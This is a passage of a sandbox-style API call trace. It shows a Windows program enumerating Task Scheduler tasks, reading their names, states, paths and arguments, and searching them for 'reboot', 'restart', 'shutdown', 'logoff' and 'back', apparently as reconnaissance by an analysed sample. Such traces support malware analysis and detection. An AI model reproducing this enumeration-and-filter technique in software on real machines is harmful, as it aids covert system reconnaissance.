	[0067.332] IRegisteredTaskCollection:get_Item (in: This=0x19add8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aec0) returned 0x0
	[0067.332] IRegisteredTask:get_Name (in: This=0x19aec0, pName=0x43af860 | out: pName=0x43af860*="ProactiveScan") returned 0x0
	[0067.332] IRegisteredTask:get_State (in: This=0x19aec0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.341] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afd8
	[0067.341] wcsstr (_Str="proactivescan", _SubStr="reboot") returned 0x0
	[0067.341] wcsstr (_Str="proactivescan", _SubStr="restart") returned 0x0
	[0067.341] wcsstr (_Str="proactivescan", _SubStr="shutdown") returned 0x0
	[0067.341] wcsstr (_Str="proactivescan", _SubStr="logoff") returned 0x0
	[0067.341] wcsstr (_Str="proactivescan", _SubStr="back") returned 0x0
	[0067.341] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0067.341] IRegisteredTask:get_Definition (in: This=0x19aec0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af88) returned 0x0
	[0067.511] ITaskDefinition:get_Actions (in: This=0x19af88, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afd8) returned 0x0
	[0067.511] IActionCollection:get_Count (in: This=0x19afd8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.511] IActionCollection:get_Item (in: This=0x19afd8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c588) returned 0x0
	[0067.511] IAction:get_Type (in: This=0x19c588, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.511] IUnknown:Release (This=0x19c588) returned 0x1
	[0067.511] IUnknown:Release (This=0x19afd8) returned 0x1
	[0067.511] IUnknown:Release (This=0x19af88) returned 0x0
	[0067.511] IUnknown:Release (This=0x19aec0) returned 0x0
	[0067.511] IUnknown:Release (This=0x19add8) returned 0x0
	[0067.511] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19add8) returned 0x0
	[0067.512] ITaskFolderCollection:get_Count (in: This=0x19add8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.512] IUnknown:Release (This=0x19add8) returned 0x0
	[0067.512] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.512] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.512] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ad98) returned 0x0
	[0067.513] IRegisteredTaskCollection:get_Count (in: This=0x19ad98, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0067.513] IUnknown:Release (This=0x19ad98) returned 0x0
	[0067.513] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ad98) returned 0x0
	[0067.514] ITaskFolderCollection:get_Count (in: This=0x19ad98, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.514] IUnknown:Release (This=0x19ad98) returned 0x0
	[0067.514] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.514] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.514] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19adf0) returned 0x0
	[0067.515] IRegisteredTaskCollection:get_Count (in: This=0x19adf0, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0067.515] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.515] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19adf0) returned 0x0
	[0067.515] ITaskFolderCollection:get_Count (in: This=0x19adf0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.515] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.515] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.515] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.515] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ae18) returned 0x0
	[0067.517] IRegisteredTaskCollection:get_Count (in: This=0x19ae18, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0067.517] IRegisteredTaskCollection:get_Item (in: This=0x19ae18, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aec0) returned 0x0
	[0067.517] IRegisteredTask:get_Name (in: This=0x19aec0, pName=0x43af860 | out: pName=0x43af860*="Consolidator") returned 0x0
	[0067.517] IRegisteredTask:get_State (in: This=0x19aec0, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0067.517] IUnknown:Release (This=0x19aec0) returned 0x0
	[0067.517] IUnknown:Release (This=0x19ae18) returned 0x0
	[0067.517] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ae18) returned 0x0
	[0067.518] ITaskFolderCollection:get_Count (in: This=0x19ae18, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.518] IUnknown:Release (This=0x19ae18) returned 0x0
	[0067.518] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.518] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.518] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19adf0) returned 0x0
	[0067.519] IRegisteredTaskCollection:get_Count (in: This=0x19adf0, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0067.519] IRegisteredTaskCollection:get_Item (in: This=0x19adf0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aec0) returned 0x0
	[0067.519] IRegisteredTask:get_Name (in: This=0x19aec0, pName=0x43af860 | out: pName=0x43af860*="Data Integrity Scan") returned 0x0
	[0067.519] IRegisteredTask:get_State (in: This=0x19aec0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.520] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877e88
	[0067.520] wcsstr (_Str="data integrity scan", _SubStr="reboot") returned 0x0
	[0067.520] wcsstr (_Str="data integrity scan", _SubStr="restart") returned 0x0
	[0067.520] wcsstr (_Str="data integrity scan", _SubStr="shutdown") returned 0x0
	[0067.520] wcsstr (_Str="data integrity scan", _SubStr="logoff") returned 0x0
	[0067.520] wcsstr (_Str="data integrity scan", _SubStr="back") returned 0x0
	[0067.520] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0067.520] IRegisteredTask:get_Definition (in: This=0x19aec0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af30) returned 0x0
	[0067.613] ITaskDefinition:get_Actions (in: This=0x19af30, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19af80) returned 0x0
	[0067.613] IActionCollection:get_Count (in: This=0x19af80, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.613] IActionCollection:get_Item (in: This=0x19af80, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c5d8) returned 0x0
	[0067.613] IAction:get_Type (in: This=0x19c5d8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.614] IUnknown:Release (This=0x19c5d8) returned 0x1
	[0067.614] IUnknown:Release (This=0x19af80) returned 0x1
	[0067.614] IUnknown:Release (This=0x19af30) returned 0x0
	[0067.614] IUnknown:Release (This=0x19aec0) returned 0x0
	[0067.614] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.614] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19adf0) returned 0x0
	[0067.657] ITaskFolderCollection:get_Count (in: This=0x19adf0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.657] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.657] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.657] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19aec0) returned 0x0
	[0067.657] ITaskFolder:GetTasks (in: This=0x19aec0, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19af50) returned 0x0
	[0067.676] IRegisteredTaskCollection:get_Count (in: This=0x19af50, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0067.676] IRegisteredTaskCollection:get_Item (in: This=0x19af50, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aff8) returned 0x0
	[0067.676] IRegisteredTask:get_Name (in: This=0x19aff8, pName=0x43af860 | out: pName=0x43af860*="ScheduledDefrag") returned 0x0
	[0067.676] IRegisteredTask:get_State (in: This=0x19aff8, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0067.720] IUnknown:Release (This=0x19aff8) returned 0x0
	[0067.720] IUnknown:Release (This=0x19af50) returned 0x0
	[0067.720] ITaskFolder:GetFolders (in: This=0x19aec0, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19af50) returned 0x0
	[0067.786] ITaskFolderCollection:get_Count (in: This=0x19af50, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.786] IUnknown:Release (This=0x19af50) returned 0x0
	[0067.786] TaskScheduler:IUnknown:Release (This=0x19aec0) returned 0x0
	[0067.786] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19aec0) returned 0x0
	[0067.786] ITaskFolder:GetTasks (in: This=0x19aec0, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19af68) returned 0x0
	[0067.811] IRegisteredTaskCollection:get_Count (in: This=0x19af68, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0067.811] IRegisteredTaskCollection:get_Item (in: This=0x19af68, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b020) returned 0x0
	[0067.811] IRegisteredTask:get_Name (in: This=0x19b020, pName=0x43af860 | out: pName=0x43af860*="Device") returned 0x0
	[0067.811] IRegisteredTask:get_State (in: This=0x19b020, pState=0x43af864 | out: pState=0x43af864*=4) returned 0x0
	[0067.812] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b358
	[0067.812] wcsstr (_Str="device", _SubStr="reboot") returned 0x0
	[0067.812] wcsstr (_Str="device", _SubStr="restart") returned 0x0
	[0067.812] wcsstr (_Str="device", _SubStr="shutdown") returned 0x0
	[0067.812] wcsstr (_Str="device", _SubStr="logoff") returned 0x0
	[0067.812] wcsstr (_Str="device", _SubStr="back") returned 0x0
	[0067.812] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b358) returned 1
	[0067.812] IRegisteredTask:get_Definition (in: This=0x19b020, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b0f8) returned 0x0
	[0067.820] ITaskDefinition:get_Actions (in: This=0x19b0f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b148) returned 0x0
	[0067.820] IActionCollection:get_Count (in: This=0x19b148, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.820] IActionCollection:get_Item (in: This=0x19b148, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae60) returned 0x0
	[0067.820] IAction:get_Type (in: This=0x19ae60, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0067.820] IUnknown:QueryInterface (in: This=0x19ae60, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ae60) returned 0x0
	[0067.820] IExecAction:get_Path (in: This=0x19ae60, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\devicecensus.exe") returned 0x0
	[0067.820] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x46) returned 0x28946f0
	[0067.820] wcsstr (_Str="%windir%\\system32\\devicecensus.exe", _SubStr="reboot") returned 0x0
	[0067.820] wcsstr (_Str="%windir%\\system32\\devicecensus.exe", _SubStr="restart") returned 0x0
	[0067.820] wcsstr (_Str="%windir%\\system32\\devicecensus.exe", _SubStr="shutdown") returned 0x0
	[0067.820] wcsstr (_Str="%windir%\\system32\\devicecensus.exe", _SubStr="logoff") returned 0x0
	[0067.820] wcsstr (_Str="%windir%\\system32\\devicecensus.exe", _SubStr="back") returned 0x0
	[0067.820] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28946f0) returned 1
	[0067.820] IExecAction:get_Arguments (in: This=0x19ae60, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0067.820] IUnknown:Release (This=0x19ae60) returned 0x2
	[0067.820] IUnknown:Release (This=0x19ae60) returned 0x1
	[0067.820] IUnknown:Release (This=0x19b148) returned 0x1
	[0067.820] IUnknown:Release (This=0x19b0f8) returned 0x0
	[0067.820] IUnknown:Release (This=0x19b020) returned 0x0
	[0067.820] IUnknown:Release (This=0x19af68) returned 0x0
	[0067.820] ITaskFolder:GetFolders (in: This=0x19aec0, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b508) returned 0x0
	[0067.834] ITaskFolderCollection:get_Count (in: This=0x19b508, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.834] IUnknown:Release (This=0x19b508) returned 0x0
	[0067.834] TaskScheduler:IUnknown:Release (This=0x19aec0) returned 0x0
	[0067.834] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0067.834] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0067.931] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0067.931] IUnknown:Release (This=0x19b800) returned 0x0
	[0067.931] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.031] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.031] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.032] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.032] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.032] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0068.187] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0068.187] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.187] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.262] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.262] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.262] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.262] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.262] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0068.496] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0068.497] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.497] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.502] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.502] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.502] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.502] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.502] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0068.507] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0068.507] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b860) returned 0x0
	[0068.507] IRegisteredTask:get_Name (in: This=0x19b860, pName=0x43af860 | out: pName=0x43af860*="SilentCleanup") returned 0x0
	[0068.507] IRegisteredTask:get_State (in: This=0x19b860, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0068.510] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afb0
	[0068.510] wcsstr (_Str="silentcleanup", _SubStr="reboot") returned 0x0
	[0068.510] wcsstr (_Str="silentcleanup", _SubStr="restart") returned 0x0
	[0068.511] wcsstr (_Str="silentcleanup", _SubStr="shutdown") returned 0x0
	[0068.511] wcsstr (_Str="silentcleanup", _SubStr="logoff") returned 0x0
	[0068.511] wcsstr (_Str="silentcleanup", _SubStr="back") returned 0x0
	[0068.511] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afb0) returned 1
	[0068.511] IRegisteredTask:get_Definition (in: This=0x19b860, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aec0) returned 0x0
	[0068.655] ITaskDefinition:get_Actions (in: This=0x19aec0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19af10) returned 0x0
	[0068.655] IActionCollection:get_Count (in: This=0x19af10, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0068.655] IActionCollection:get_Item (in: This=0x19af10, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0068.655] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0068.655] IUnknown:QueryInterface (in: This=0x19ae10, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ae10) returned 0x0
	[0068.655] IExecAction:get_Path (in: This=0x19ae10, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\cleanmgr.exe") returned 0x0
	[0068.655] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x28741d0
	[0068.655] wcsstr (_Str="%windir%\\system32\\cleanmgr.exe", _SubStr="reboot") returned 0x0
	[0068.655] wcsstr (_Str="%windir%\\system32\\cleanmgr.exe", _SubStr="restart") returned 0x0
	[0068.655] wcsstr (_Str="%windir%\\system32\\cleanmgr.exe", _SubStr="shutdown") returned 0x0
	[0068.655] wcsstr (_Str="%windir%\\system32\\cleanmgr.exe", _SubStr="logoff") returned 0x0
	[0068.655] wcsstr (_Str="%windir%\\system32\\cleanmgr.exe", _SubStr="back") returned 0x0
	[0068.655] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28741d0) returned 1
	[0068.655] IExecAction:get_Arguments (in: This=0x19ae10, pArgument=0x43af858 | out: pArgument=0x43af858*="/autoclean /d %systemdrive%") returned 0x0
	[0068.655] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286fa48
	[0068.655] wcsstr (_Str="/autoclean /d %systemdrive%", _SubStr="reboot") returned 0x0
	[0068.655] wcsstr (_Str="/autoclean /d %systemdrive%", _SubStr="restart") returned 0x0
	[0068.656] wcsstr (_Str="/autoclean /d %systemdrive%", _SubStr="shutdown") returned 0x0
	[0068.656] wcsstr (_Str="/autoclean /d %systemdrive%", _SubStr="logoff") returned 0x0
	[0068.656] wcsstr (_Str="/autoclean /d %systemdrive%", _SubStr="back") returned 0x0
	[0068.656] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fa48) returned 1
	[0068.656] IUnknown:Release (This=0x19ae10) returned 0x2
	[0068.656] IUnknown:Release (This=0x19ae10) returned 0x1
	[0068.656] IUnknown:Release (This=0x19af10) returned 0x1
	[0068.656] IUnknown:Release (This=0x19aec0) returned 0x0
	[0068.656] IUnknown:Release (This=0x19b860) returned 0x0
	[0068.656] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.656] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.656] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.656] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.656] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.657] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.657] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0068.725] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0068.725] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.725] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.726] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.726] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.726] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.726] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.726] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0068.799] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0068.799] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b8b8) returned 0x0
	[0068.799] IRegisteredTask:get_Name (in: This=0x19b8b8, pName=0x43af860 | out: pName=0x43af860*="Diagnostics") returned 0x0
	[0068.799] IRegisteredTask:get_State (in: This=0x19b8b8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0068.800] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892950
	[0068.800] wcsstr (_Str="diagnostics", _SubStr="reboot") returned 0x0
	[0068.800] wcsstr (_Str="diagnostics", _SubStr="restart") returned 0x0
	[0068.800] wcsstr (_Str="diagnostics", _SubStr="shutdown") returned 0x0
	[0068.800] wcsstr (_Str="diagnostics", _SubStr="logoff") returned 0x0
	[0068.800] wcsstr (_Str="diagnostics", _SubStr="back") returned 0x0
	[0068.800] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892950) returned 1
	[0068.800] IRegisteredTask:get_Definition (in: This=0x19b8b8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b5a8) returned 0x0
	[0068.832] ITaskDefinition:get_Actions (in: This=0x19b5a8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b928) returned 0x0
	[0068.832] IActionCollection:get_Count (in: This=0x19b928, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0068.832] IActionCollection:get_Item (in: This=0x19b928, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0068.832] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0068.832] IUnknown:QueryInterface (in: This=0x19ae10, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ae10) returned 0x0
	[0068.832] IExecAction:get_Path (in: This=0x19ae10, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\disksnapshot.exe") returned 0x0
	[0068.832] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x46) returned 0x2894b50
	[0068.833] wcsstr (_Str="%windir%\\system32\\disksnapshot.exe", _SubStr="reboot") returned 0x0
	[0068.833] wcsstr (_Str="%windir%\\system32\\disksnapshot.exe", _SubStr="restart") returned 0x0
	[0068.833] wcsstr (_Str="%windir%\\system32\\disksnapshot.exe", _SubStr="shutdown") returned 0x0
	[0068.833] wcsstr (_Str="%windir%\\system32\\disksnapshot.exe", _SubStr="logoff") returned 0x0
	[0068.833] wcsstr (_Str="%windir%\\system32\\disksnapshot.exe", _SubStr="back") returned 0x0
	[0068.833] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894b50) returned 1
	[0068.833] IExecAction:get_Arguments (in: This=0x19ae10, pArgument=0x43af858 | out: pArgument=0x43af858*="-z") returned 0x0
	[0068.833] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x6) returned 0x28b97a8
